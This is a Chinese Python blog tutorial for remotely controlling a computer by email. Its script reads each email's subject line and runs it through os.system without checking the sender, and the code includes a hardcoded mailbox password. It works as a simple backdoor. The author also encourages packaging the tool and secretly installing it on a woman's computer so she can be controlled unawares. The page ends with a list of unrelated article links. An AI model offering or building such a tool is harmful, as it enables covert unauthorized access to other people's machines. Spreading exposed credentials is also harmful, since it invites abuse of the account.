python编写微信远程控制电脑的程序


Posted in Python onJanuary 05, 2018

今天来分享一个“高大上”的技术——使用python编写一个可以用微信远程控制电脑的程序!

先来分析一下控制的具体流程:

python编写微信远程控制电脑的程序

我们使用微信给特定的邮箱发送一封邮件,其中包含了我们想要电脑执行的命令,然后电脑上的python程序获取到这封邮件,然后解析其中的命令,再交付给电脑执行。可以看出,这其中主要的技术难点就是获取邮件了!但是!这没有任何问题,大家看到我的上一篇博客《python 收发邮件》就可以了!

下面给出使用python收发邮件并执行邮件命令的代码。

# -*- coding:utf-8 -*- 
from email.mime.text import MIMEText 
import poplib 
import smtplib 
import os 
 
 
class MailManager(object): 
 
  def __init__(self): 
    self.popHost = 'pop.sina.com' 
    self.smtpHost = 'smtp.sina.com' 
    self.port = 25 
    self.userName = 'ivanzgj@sina.com' 
    self.passWord = 'zgj123' 
    self.bossMail = '475176416@qq.com' 
    self.login() 
    self.configMailBox() 
 
  # 登录邮箱 
  def login(self): 
    try: 
      self.mailLink = poplib.POP3_SSL(self.popHost) 
      self.mailLink.set_debuglevel(0) 
      self.mailLink.user(self.userName) 
      self.mailLink.pass_(self.passWord) 
      self.mailLink.list() 
      print u'login success!' 
    except Exception as e: 
      print u'login fail! ' + str(e) 
      quit() 
 
  # 获取邮件 
  def retrMail(self): 
    try: 
      mail_list = self.mailLink.list()[1] 
      if len(mail_list) == 0: 
        return None 
      mail_info = mail_list[0].split(' ') 
      number = mail_info[0] 
      mail = self.mailLink.retr(number)[1] 
      self.mailLink.dele(number) 
 
      subject = u'' 
      sender = u'' 
      for i in range(0, len(mail)): 
        if mail[i].startswith('Subject'): 
          subject = mail[i][9:] 
        if mail[i].startswith('X-Sender'): 
          sender = mail[i][10:] 
      content = {'subject': subject, 'sender': sender} 
      return content 
    except Exception as e: 
      print str(e) 
      return None 
 
  def configMailBox(self): 
    try: 
      self.mail_box = smtplib.SMTP(self.smtpHost, self.port) 
      self.mail_box.login(self.userName, self.passWord) 
      print u'config mailbox success!' 
    except Exception as e: 
      print u'config mailbox fail! ' + str(e) 
      quit() 
 
  # 发送邮件 
  def sendMsg(self, mail_body='Success!'): 
    try: 
      msg = MIMEText(mail_body, 'plain', 'utf-8') 
      msg['Subject'] = mail_body 
      msg['from'] = self.userName 
      self.mail_box.sendmail(self.userName, self.bossMail, msg.as_string()) 
      print u'send mail success!' 
    except Exception as e: 
      print u'send mail fail! ' + str(e) 
 
if __name__ == '__main__': 
  mailManager = MailManager() 
  mail = mailManager.retrMail() 
  if mail is not None: 
    cmd = mail['subject'] 
    os.system(cmd) 
    mailManager.sendMsg()

上述代码的逻辑是:邮件的主题为要执行的命令,然后python获取邮箱的邮件,解析其主题,然后交到命令行执行。执行成功后发送一封success的邮件给我。

下面测试一下。我使用qq邮箱给我指定的邮箱发送了下面这样一封邮件。

python编写微信远程控制电脑的程序

这封邮件的命令是要打开mail.py这个文件,然后我们在电脑上运行上述代码程序,就可以看到其打开了mail.py这个文件了!
现在,这个程序只会执行一次,然后就会退出,我们只要给它加个死循环就可以让它一直运行了~

if __name__ == '__main__': 
  while True: 
    mailManager = MailManager() 
    mail = mailManager.retrMail() 
    if mail is not None: 
      cmd = mail['subject'] 
      os.system(cmd) 
      mailManager.sendMsg() 
    time.sleep(5)

现在我们只要运行其这个程序,然后我们拿着手机,打开微信,一封邮件,便可随时远控电脑!想想,你们拿着这个程序,打包一下,然后悄悄地撞到你心仪的妹子电脑上,趁她不注意的时候,发一封邮件,然后让妹子的电脑干点什么事情(例如显示一段文字表白什么的),想想都很激动呢!!!

好的,下面直接给出一个源码链接吧。
python 微信远程控制电脑

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python实现的简单抽奖系统实例
May 22 Python
windows上安装Anaconda和python的教程详解
Mar 28 Python
python使用json序列化datetime类型实例解析
Feb 11 Python
python逐行读写txt文件的实例讲解
Apr 03 Python
Python2.7.10以上pip更新及其他包的安装教程
Jun 12 Python
Python 3.3实现计算两个日期间隔秒数/天数的方法示例
Jan 07 Python
Python绘制并保存指定大小图像的方法
Jan 10 Python
python list转置和前后反转的例子
Aug 26 Python
Python中的list与tuple集合区别解析
Oct 12 Python
解决Pytorch训练过程中loss不下降的问题
Jan 02 Python
通过代码简单了解django model序列化作用
Nov 12 Python
Selenium环境变量配置(火狐浏览器)及验证实现
Dec 07 Python
使用python爬虫实现网络股票信息爬取的demo
Jan 05 #Python
简单实现python收发邮件功能
Jan 05 #Python
5款非常棒的Python工具
Jan 05 #Python
Python基于列表模拟堆栈和队列功能示例
Jan 05 #Python
Django 2.0版本的新特性抢先看!
Jan 05 #Python
微信跳一跳游戏python脚本
Apr 01 #Python
Python基于列表list实现的CRUD操作功能示例
Jan 05 #Python
You might like
php 连接mysql连接被重置的解决方法
2011/02/15 PHP
浅谈php正则表达式中的非贪婪模式匹配的使用
2014/11/25 PHP
PHP判断是否是微信打开还是浏览器打开的方法
2019/02/27 PHP
PHP结合jquery ajax实现上传多张图片,并限制图片大小操作示例
2019/03/01 PHP
js 加载时自动调整图片大小
2008/05/28 Javascript
javascript parseInt与Number函数的区别
2010/01/21 Javascript
基于mouseout和mouseover等类似事件的冒泡问题解决方法
2013/11/18 Javascript
javascript教程:关于if简写语句优化的方法
2014/05/17 Javascript
在JavaScript里防止事件函数高频触发和高频调用的方法
2014/09/06 Javascript
javascript获得当前的信息的一些常用命令
2015/02/25 Javascript
JS中的THIS和WINDOW.EVENT.SRCELEMENT详解
2015/05/25 Javascript
JavaScript实现快速排序的方法
2015/07/31 Javascript
页面内容排序插件jSort使用方法
2015/10/10 Javascript
Vue-cropper 图片裁剪的基本原理及思路讲解
2018/04/17 Javascript
js中的 || 与 && 运算符详解
2018/05/24 Javascript
微信公众平台获取access_token的方法步骤
2019/03/29 Javascript
微信小程序配置服务器提示验证token失败的解决方法
2019/04/03 Javascript
微信小程序如何修改本地缓存key中单个数据的详解
2019/04/26 Javascript
微信小程序自定义弹窗滚动与页面滚动冲突的解决方法
2019/07/16 Javascript
在layui tab控件中载入外部html页面的方法
2019/09/04 Javascript
Node登录权限验证token验证实现的方法示例
2020/05/25 Javascript
浅谈Django中view对数据库的调用方法
2019/07/18 Python
Python pymsql模块的使用
2020/09/07 Python
Python自定义sorted排序实现方法详解
2020/09/18 Python
全网最细 Python 格式化输出用法讲解(推荐)
2021/01/18 Python
美国购买当代和现代家具网站:MODTEMPO
2018/07/20 全球购物
新西兰便宜隐形眼镜购买网站:QUICKLENS New Zealand
2019/03/02 全球购物
抽象类和接口的区别
2012/09/19 面试题
父亲生日宴会答谢词
2014/01/10 职场文书
小学生作文评语大全
2014/04/21 职场文书
大学生励志演讲稿
2014/04/25 职场文书
竞选大队长演讲稿
2014/04/29 职场文书
空气环保标语
2014/06/12 职场文书
dubbo集成zipkin获取Traceid的实现
2021/07/26 Java/Android
redis sentinel监控高可用集群实现的配置步骤
2022/04/01 Redis
彻底卸载VMware虚拟机的超详细步骤记录
2022/07/15 Servers